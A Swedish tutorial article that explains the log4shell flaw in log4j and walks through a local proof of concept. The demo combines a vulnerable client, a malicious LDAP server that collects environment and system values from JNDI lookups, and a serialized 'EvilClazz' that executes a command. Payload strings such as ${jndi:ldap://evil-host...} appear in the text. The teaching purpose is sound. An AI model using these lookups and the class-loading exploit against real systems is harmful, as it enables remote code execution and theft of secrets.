I början av december 2021 drabbades Java världen av en shock, som det kommer ta lång tid att hämta sig från. Då publicerades en rapport om ett mycket allvarligt säkerhetshål i det mest vanligaste logging ramverket i för Java applikationer, nämligenlog4j
.
Säkerhetshålet har klassats som nivå 10 på en 10-gradig skala av CVSS (Common Vulnerability Scoring System) och är av typen zero-day computer-software vulnerability, vilket innebär att problemet var okänt och saknade en lösning. I korthet, innebär det att en inkräktare kan ladda över främmande klasser till en intet ont anande Java applikation, och som t.ex. kan öppna ett kommandotolk (remote shell) för vidare godtycklig ödeläggelse. Därför har detta säkerhetshål döpts till log4shell (CVE-2021-44228
), som en ironisk namnlek med log4j.
Log4j
Log4j är ett av de äldsta och mest populära ramverken inom Java världen och tar hand om all form av loggningsutskrifter i en applikation. Det skapades redan i slutet 1990-talet och har betraktas som industristandard för applikationsloggning. I stället för vanliga utskrifter till ett terminalfönster, använder man log4j funktioner. Den stora poängen är sen att man använder en extern konfigurationsfil, för att styra vilka typer av utskrifter man vill ha, samt vart dessa ska skrivas, vilket kan vara till en fil, en database, en JMS kö och mycket mera.
Log4j kodexempel
Så här använder man log4j i sin programkod.
package ribomation;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
final static Logger log = LogManager.getLogger(App.class);
static {
log.debug("loaded class {}", App.class.getName());
}
void func(int n) {
log.info("enter func({})", n);
try { /*...*/ }
catch (Exception x) {
log.error("failed: {}", e.getMessage());
}
}
}
Först skapas ett Logger
objekt, med ett distinkt namn, typiskt lika med paket- plus klassnamn. Det är därför man skickar in klassobjektet, som sen anrops med getName()
. I klassens medlemsfunktioner (metoder) anropas sedan loggningsfunktioner, vilka motsvarar olika allvarlighetsnivåer, såsom debug
, info
, warn
, error
med flera.
Det första argumentet till en dylik loggningsfunktion är en formatsträng, som innehåller text varvat med platshållare i form av "{}
". De följande argumenten matchas mot platshållarna i angiven ordning, varpå argumenten evalueras till strängar och substituerar platshållarna. Så om man anropar funktionen ovan med func(42)
, så genereras en utskrift som kanske ser ut på följande vis.
14:18:04 INFO ribomation.App: enter func(42)
Konfigurationsfil
Hur utskriften ska se ut och vart den ska skickas görs i en extern konfigurationsfil, som vanligtvis heter log4j2.xml
och finns tillgänglig i applikationens class-path. Så här kan en mycket enkel dylik se ut.
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss} %-5level %logger{40}: %msg%n"/>
</Console>
<File name="LogFile" fileName="/var/log/business-app/app.log">
<PatternLayout>
<Pattern>%d %p %c{1.} [%t] %m%n</Pattern>
</PatternLayout>
</File>
</Appenders>
<Loggers>
<Logger name="com.some_framework.some_module" level="warn">
<AppenderRef ref="LogFile"/>
</Logger>
<Root level="debug">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
I XML filen ovan finns det appenders och loggers. Loggers utgör logiska namn, vilka matchas mot det namn som skickas in när ett logger-objekt skapa i Java-koden. Root
avser den generella loggningen (default). Varje logger har också en minsta prioritetsnivå (level
), som anger loggutskrifter med lägre nivå ska ignoreras. Den första loggern skiver bara ut för warn
och error
, medan den generella från debug
och uppåt.
Appenders utgör destinationer, såsom terminalen, en fil, en database med flera. Här ovan finns det två stycken; en kopplad till terminalen (Console
) och en till en loggfil (LogFile
). Med en AppenderRef
knyts en logger till en (eller flera) appenders.
Vad utgör kärnan i säkerhetshålet?
För drygt 26 år sedan tog Java internet-världen med storm, då man kunde demonstrera hur ny programkod kunde laddas in i en för övrigt helt statisk webbsida; nämligen teknologin applet. Fram till nyligen så har denna egenskap ansetts som en av de största tekniska fördelarna med Java och ligger till grund för tekniker som dynamisk omladdning (hot-reloading) i moderna applikations-servrar, anrop av fjärrobjekt (remote method invocation) och mycket mera.
I samband med att version 2 av log4j designades, så hade man observerat att moderna Java applikationer hade evolverat från stora monoliter till federationer av mindre specialiserade applikationer, oftast driftsatta i en molnmiljö. Därför ansågs det affärsviktigt att distribuerade Java applikationer kunde hämta konfigurationsdata och annan information centralt i nätverket, i stället för det mer omständliga att kopiera filer till respektive server och manuellt starta om dessa. Kort sagt; skulle log4j vara ett ramverk som "hängde med i tiden". Tekniken kallas för lookups och beskrivs på följande sätt i dokumentationen.
Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. [...] Log4j 2 supports the ability to specify tokens in the configuration as references to properties defined elsewhere. Some of these properties will be resolved when the configuration file is interpreted while others may be passed to components where they will be evaluated at runtime.
Så, en välmenande implementationsegenskap ämnad att underlätta för stora affärsapplikationer, kom att utnyttjas för starkt dubiösa ändamål.
Vad är då StrLookup?
Platshållar-syntaxen med {}
, ansågs inte tillräckligt flexibel, så man införde en kompletterade syntax för att på annat sätt expandera text. Denna syntax ser ut på följande vis ${prefix:value}
, där prefix bland annat kan vara
sys
- JVM system propertiesenv
- System environment variablesjndi
- A value set in the default JNDI Context
Här följer några exempel
${sys:java.os}
${env:AWS_SECURITY_TOKEN}
${jndi:ldap://evil-host:1234/some-value}
De två syntaxerna kan kombineras! Så om vi har ett loggningsanrop som ser ut på följande vis
log.info("external: {}", externalArgument);
Samt, en textsträng som kommer "utifrån" med ett innehåll enligt ovan, som kombineras dessa. Häng med på en praktisk kod-demonstration!
Ett Java program som demonstrerar säkerhetshålet
Börja med att hämta två JAR filer för log4j, nämligen log4j-api
respektive log4j-core
. Enklast är att använda Maven-sökmotorn mvnrepository
och söka rätt på log4j.
För respektive modul, välj en version som fortfarande har säkerhetshålet. I mitt exempel har jag valt version 2.10.0
. Klicka på jar
knappen och spara filen i t.ex. en lib
katalog i ditt projekt.
Java kod
Kopiera koden nedan och spara som en Java-klass. Du kan fritt använda koden, så om, du vill kan du ändra paket- och/eller klassnamn.
//src/ribomation/LdapClient.java
package ribomation;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LdapClient {
final static Logger log = LogManager.getLogger(LdapClient.class);
static {
log.debug("loaded class {}", LdapClient.class.getName());
}
public static void main(String[] args) {
log.info("begin");
for (String arg : args)
try {
log.warn("cli: {}", arg);
} catch (Exception e) {
log.error("ERR: {}", e.getMessage());
}
log.info("end");
}
}
Log4j konfiguration
Kopiera koden nedan och spara i en XML fil med namnet log4j2.xml
i src
katalogen.
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss} %-5level %logger{40}: %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="debug">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
Kompilering
Så här kan det se ut i projekt-katalogen efter kompilering.
|-- classes
| |-- log4j2.xml
| `-- ribomation
| |-- LdapClient.class
|-- lib
| |-- log4j-api-2.10.0.jar
| |-- log4j-core-2.10.0.jar
`-- src
|-- log4j2.xml
`-- ribomation
|-- LdapClient.java
Kompilera, antingen i en IDE eller på kommandoraden. (Kompilerar du i Windows, byter du kolon mot semi-kolon.)
javac -cp lib/log4j-api-2.10.0.jar:lib/log4j-core-2.10.0.jar -d classes src/ribomation/LdapClient.java
Enkla körexempel
Kör programmet på följande vis
java -cp classes:lib/log4j-api-2.10.0.jar:lib/log4j-core-2.10.0.jar ribomation.LdapClient arg-1 arg-2 ...
Harmlösa argument
Kör programmet med argumenten hejsan
och hoppsan
. Utdata kommer att se ut på följande vis (klockslagen blir givetvis annorlunda)
15:53:23 DEBUG ribomation.LdapClient: loaded class ribomation.LdapClient
15:53:23 INFO ribomation.LdapClient: begin
15:53:23 WARN ribomation.LdapClient: cli: hejsan
15:53:23 WARN ribomation.LdapClient: cli: hoppsan
15:53:23 INFO ribomation.LdapClient: end
Som synes, ekar programmet kommandorads-argumenten. I detta fall: hejsan
respektive hoppsan
.
JVM system properties
Kör programmet med argumenten '${sys:os.name}'
och '${sys:user.home}'
. I mitt fall ser det ut på följande vis. (Du kan givetvis välja andra värden)
15:57:36 DEBUG ribomation.LdapClient: loaded class ribomation.LdapClient
15:57:36 INFO ribomation.LdapClient: begin
15:57:36 WARN ribomation.LdapClient: cli: Linux
15:57:36 WARN ribomation.LdapClient: cli: /home/jens
15:57:36 INFO ribomation.LdapClient: end
Environment variables
Kör programmet med argumenten '${env:JAVA_HOME}'
och '${env:PWD}'
. I mitt fall ser det ut på följande vis. (Du kan givetvis välja andra värden)
...
16:03:58 WARN ribomation.LdapClient: cli: /home/jens/.sdkman/candidates/java/current
16:03:58 WARN ribomation.LdapClient: cli: /mnt/c/Projects/log4shell/log4j-cli-example
...
Kommunikation med en LDAP server
Om du läst så här långt, funderar du kanske över "What's all the fuss about?". Du har rätt; att läsa av system properties och environment variables, kan väl inte vara så där allvarligt? Det ska vi nu ändra på, nu när vi lagt grunden till att förstå hur log4j fungerar, vad text-substitution anbelangar. Först, behöver vi dock en LDAP server.
Vad är LDAP?
Det är ett protokoll och standard för katalogservrar (directory server). De flesta större organisationer har en dylik, som innehåller information om användarkonton, åtkomstgrupptillhörighet, kontaktuppgifter med mera. En katalogserver används vid inloggning och åtkomstkontroll av olika tjänster.
LDAP betyder Lightweight Directory Access Protocol. Lättviktigheten kan kanske uppfattas ironiskt, eftersom LDAP är ett tämligen komplext protokoll, men var seriöst menat när det skapades i mitten på 1990-talet, och jämförde sig med vad som fanns innan dess.
Vad är JNDI?
Det är ett Java API för att interagera med många typer av katalog- och namnservrar, varav LDAP är ett av dessa. JNDI betyder Java Naming and Directory Interface och utgör en central del i JEE (Java Enterprise Edition) standarden och används på daglig basis i dylika applikationer.
Java LDAP server
Det förvisso ett stort antal LDAP servrar att välja på, men vi behöver en enkel sådan som vi kan kicka igång som en del av ett Java program. Därför kommer vi använda UnboundID LDAP SDK for Java. Börja med att ladda dess JAR fil från MVNRepository. com.unboundid:unboundid-ldapsdk:6.0.3
Minimal Java LDAP server
Om du vill testa först hur en liten LDAP server funkar, så kan du kopiera följande kod till en Java klass. Kom ihåg att kompilera och köra med den JAR fil du nyss laddade ned.
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.sdk.LDAPException;
void run() throws LDAPException {
InMemoryDirectoryServerConfig cfg = new InMemoryDirectoryServerConfig("dc=ribomation,dc=se");
cfg.setListenerConfigs(InMemoryListenerConfig.createLDAPConfig("localhost", 9000));
cfg.setAccessLogHandler(new ConsoleHandler());
InMemoryDirectoryServer srv = new InMemoryDirectoryServer(cfg);
srv.startListening();
}
Observera att denna server är helt tom och du behöver fylla på med data från t.ex. en fil.
srv.importFromLDIF(true, java.io.File(...))
Implementation av en lömsk Java LDAP server
Vi hoppar dock direkt till att implementera en lömsk (sinister) LDAP server, som demonstrerar säkerhetshålet med uppenbar tydlighet.
Huvudklass
Kopiera in följande kod till en Java klass och justera importerna. Ändra på paketnamn och/eller klassnamn om du känner för det.
package ribomation;
//...imports...
public class SinisterLdapServer {
public static void main(String[] args) throws Exception {
SinisterLdapServer app = new SinisterLdapServer();
app.parseArg(args);
InMemoryDirectoryServerConfig config = app.configure();
app.start(config);
}
int port = 9000;
String listenIP = "0.0.0.0"; //means all networks
String baseDN = "dc=ribomation,dc=se";
String baseUrl = "http://localhost:" + port + "/";
String name = "Sinister-LDAP";
void parseArg(String[] args) {/*...*/}
InMemoryDirectoryServerConfig configure() throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(baseDN);
InMemoryListenerConfig listenerConfig = InMemoryListenerConfig.createLDAPConfig(
name,
InetAddress.getByName(listenIP),
port,
(SSLSocketFactory) SSLSocketFactory.getDefault());
config.setListenerConfigs(listenerConfig);
OperationInterceptor interceptor = new OperationInterceptor(new URL(baseUrl));
config.addInMemoryOperationInterceptor(interceptor);
return config;
}
void start(InMemoryDirectoryServerConfig config) throws LDAPException {
InMemoryDirectoryServer srv = new InMemoryDirectoryServer(config);
srv.startListening();
InMemoryListenerConfig netCfg = config.getListenerConfigs().get(0);
System.out.printf("LDAP server started on ldap:/%s:%d/%n",
netCfg.getListenAddress(), netCfg.getListenPort());
}
}
Anropshanterarklass
Vi behöver ytterligare en klass, som hanterar anropen. Kopiera följande kod till ytterligare en Java klass och justera import-satserna.
package ribomation;
//...imports...
public class OperationInterceptor extends InMemoryOperationInterceptor {
private final URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
try {
String req = result.getRequest().getBaseDN();
System.out.printf("REQ: %s%n", req);
Entry entry = new Entry(req);
if (req.startsWith("env")) {
harvestData("ENV", req);
} else if (req.startsWith("sys")) {
harvestData("JVM", req);
}
sendResult(result, entry);
} catch (Exception e1) {
e1.printStackTrace();
}
}
void sendResult(InMemoryInterceptedSearchResult result, Entry entry) throws LDAPException {
result.sendSearchEntry(entry);
int messageId = (int) System.currentTimeMillis();
result.setResult(new LDAPResult(messageId, ResultCode.SUCCESS));
}
void harvestData(String type, String base) {
try {
String[] keyVal = base.substring(type.length() + 1).split("=");
System.out.printf("%s: %s=%s%n", type, keyVal[0], keyVal[1]);
} catch (Exception x) {
System.out.printf("failed: %s%n", x);
}
}
}
Vi tar detta i två steg, varav detta är det första. Kompilera servern tillsammans med den tredje JAR filen du laddade ned (unboundid-ldapsdk-6.0.3.jar
). Starta sedan servern
java -cp classes:lib/unboundid-ldapsdk-6.0.3.jar ribomation.SinisterLdapServer
Ett första test
Tag reda på vilket IP nummer servern har och uppdatera i anropen nedan. Om du kör på samma maskin, kan det räcka med localhost (127.0.0.1
). Kör du servern på WLS under Windows 10/11 vill ansluta från en DOS prompt, kan du köra kommandot ifconfig
i WLS. Kör ldap klienten och testa både JVM properties och environment variables. De intressant utskrifterna sker nu i serverns terminalfönster.
Linux
CLASSPATH=classes:lib/log4j-api-2.10.0.jar:lib/log4j-core-2.10.0.jar
java -cp $CLASSPATH ribomation.LdapClient '${jndi:ldap://127.0.0.1:9000/sys/os.name=${sys:os.name}}'
java -cp $CLASSPATH ribomation.LdapClient '${jndi:ldap://127.0.0.1:9000/env/user=${env:HOME}}'
Windows
set CLASSPATH="classes;lib/log4j-api-2.10.0.jar;lib/log4j-core-2.10.0.jar"
java -cp %CLASSPATH% ribomation.LdapClient "${jndi:ldap://172.29.64.212:9000/sys/os.name=${sys:os.name}}"
java -cp %CLASSPATH% ribomation.LdapClient "${jndi:ldap://172.29.64.212:9000/env/user=${env:USERPROFILE}}"
Evil Clazz
Nu kommer vi så äntligen till kärnan i säkerhetshålet; nämligen remote class loading. Kopiera följande kod till en ny Java klass.
package ribomation.evil;
//...imports...
public class EvilClazz implements Runnable, Serializable {
static {
System.out.println("!!!! The EvilClazz loaded !!!!");
}
@Override
public String toString() {
new Thread(this).start();
return "*** Hi there from the EvilClazz ***";
}
@Override
public void run() {
String os = System.getProperty("os.name");
System.out.printf("Running on %s%n", os);
String cmd;
if (os.startsWith("Windows")) {
cmd = "calc";
} else if (os.startsWith("Linux")) {
cmd = "xcalc";
} else {
return;
}
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
System.out.printf("failed exec: %s%n", e);
}
}
public static byte[] mkSerObj() {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
try(ObjectOutputStream oos = new ObjectOutputStream(buf)) {
oos.writeObject(new EvilClazz());
} catch (IOException e) {
throw new RuntimeException("failed: " + e);
}
return buf.toByteArray();
}
}
Ta en stund att kika igenom vad koden här ovan gör och eventuellt justera vilket/vilka program (cmd
) du vill starta. Just nu så är det respektive miniräknare. Editera sen OperationInterceptor
och lägg till följande funktion
Entry prepareObject(Entry entry) {
entry.addAttribute("javaClassName", EvilClazz.class.getName());
entry.addAttribute("javaSerializedData", EvilClazz.mkSerObj());
entry.addAttribute("javaCodeBase", codebase.toExternalForm());
return entry;
}
Samt, lägg till en ny gren i if-satsen i processSearchResult
.
} else if (req.startsWith("load")) {
entry = prepareObject(entry);
}
Kompilera om servern och starta den på nytt, samt kör klienten nu med direktivet load
.
Linux
Windows
Andra sätt att ladda klasser
I detta demo exempel så lagrade jag ett serialiserad object direkt i LDAP server. Alternativet är att starta en HTTP server med en eller flera klasser och skicka tillbaka URL:en till primärklassen (javaCodeBase
).
Ingen kod på GitHub
Programkoden i denna artikel kommer inte att finnas tillgänglig för att ladda ned på GitHub eller liknande. Skälet är dels att GitHub har plockat bort liknande demo program och dels att jag tycker du bör begrunda varje kodfragment i denna artikel och göra dina egna anpassningar.